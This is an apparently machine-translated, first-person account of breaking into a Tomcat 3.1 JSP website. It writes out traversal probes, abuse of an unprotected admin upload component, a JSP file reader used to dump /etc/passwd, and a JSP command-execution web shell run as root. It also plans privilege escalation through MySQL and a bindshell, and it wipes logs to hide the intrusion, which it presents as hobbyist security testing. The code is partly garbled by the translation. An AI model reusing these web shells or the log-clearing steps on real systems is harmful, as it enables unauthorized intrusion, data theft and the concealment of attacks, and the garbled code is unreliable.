On-site documentary-how to intrude into JSP-based websites

By chance, when you browse a website, the page is fresh and comfortable. Websites are developed using JSP. For my personal interests, I decided to test the security of my system.

Telnet www.target.com 8080
GET/maid HTTP/1.1
[Enter]
[Enter]


The returned results are as follows:

HTTP/1.0 404 not found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-engine: Tomcat web server/3.1 (JSP 1.1; servlet 2.2; Java 1.2.2; Linux 2
. 2.12 i386; Java. Vendor = Blackdown Java-Linux Team)
Content-language: En
Content-Type: text/html
Status: 404

<H1> error: 404 <H2> location:/chinansl </H2> file not found <br>/chinansl


The running webserver name "Tomcat 3.1" is obtained ". I remember I found this version of vulnerability and posted it to the bugtrap.

Recall that we can exit the web directory through the "..." technology, so:

Http: // target: 8080/.../../% 00.jsp (NO)
Http: // target: 8080/file/index. jsp (NO)
Http: // target: 8080/index. jsp (NO)
Http: // target: 8080/index. jsp % 81 (NO)
Http: // target: 8080/index. js % 70 (NO)
Http: // target: 8080/index. jsp % 2581 (NO)
Http: // target: 8080/WEB-INF/(NO)


It seems that the security status is good. Let's take a deeper test. Tomcat 3.1 comes with a management tool that allows you to view directories and files on the web and add context. So try:

Http: // destination: 8080/admin/


The Administrator did not delete or prohibit access to this directory. In terms of security, this is a very important mistake.

Next, click the "view all context" button to list the names of some files and directories under the web directory, and a component for uploading files will soon be found, use this component to upload a JSP file to the target web directory:

<% @ Page import = "Java. Io. *" %> 〉
<%
String file = request. getparameter ("file ");
String STR = "";
Fileinputstream FCM = NULL;
Datainputstream Dis = NULL;
Try {
FS = new fileinputstream (File );
Dis = new datainputstream (FCM );
While (true ){
Try {
STR = dis. Readline ();
} Catch (exception e ){}
If (STR = NULL) break;
Out. Print (STR + "<br> 〉");
}
} Catch (ioexception e ){}
%> 〉


Then execute:

Http: // target: 8080/upload/test. jsp? File =/etc/passwd



The password is displayed. The next step is to guess the password and fail. However, now it is equivalent to having a shell. If you cannot guess the password, you can use IE as the shell environment first.
Write another JSP file:

<% @ Page import = "Java. Io. *" %> 〉
<%
Try {
String cmd = request. getparameter ("cmd ");
Process child = runtime.getruntime(cmd.exe C (CMD );
Inputstream in = Child. getinputstream ();
Int C;
While (C = in. Read ())! =-1 ){
Out. Print (char) C );
}
In. Close ();
Try {
Child. waitfor ();
} Catch (interruptedexception e ){
E. printstacktrace ();
}
} Catch (ioexception e ){
System. Err. println (E );
}
%> 〉


Then upload the JSP file through upload, and there is a shell.

Http: // target: 8080/upload/CMD. jsp? Cmd = LS +-La +/
(Detailed results are not listed here)


How can I obtain the root permission? After some searches, it is found that MySQL is installed in the system and the MySQL password is obtained from the JSP Source Code. Run:

Sqld "> http: // target: 8080/upload/CMD. jsp? Cmd = Ps + Aux + | grep + mysqld


Display:

Root 87494 0.2 1.9 17300 4800 P0-s 28jun01. 72/usr/local/data/MySQL


The system runs MYSQL as the root user. Now I thought about it. Now that I know the MySQL password, I can write a shell program to create a table and put my data in the table, then use "select... into OUTFILE; "to create a file on the system, allowing the user to run my program while executing the Su. (Do you still remember that apache.org was intruded? This method is used by hackers ).

After that, it is relatively simple to upload a program such as bindshell, run the program, and obtain the nobody permission. You can use the setuid shell created by Su root to make yourself a root user.

However, the following operations have taken place, and the results are quite surprising:

Http: // target: 8080/upload/CMD. jsp? Cmd = ID


Display:

Uid = 0 (Root) gid = 0 (XXX) groups = 0 (XXX), 2 (XXX), 3 (XXX), 4 (XXX), 5 (XXX ), 20 (XXX), 31 (XXX)


Originally, this web shell was root! How does the Administrator perform security settings?

Http: // target: 8080/upload/CMD. jsp? Cmd = Ps + Aux
It was run as root (not listed)


The rest:

1. delete my Telnet records.

2. Delete HTTP logs.

To clear logs, I used cat XXX | grep-V "ip"> temp to overwrite the modified log files.

Note that I did not change the page of the website because I am just a network security enthusiast. So, send an email to system admin! Of course, by the way, I mentioned in my letter that we would be very happy if it was needed to provide him with security services!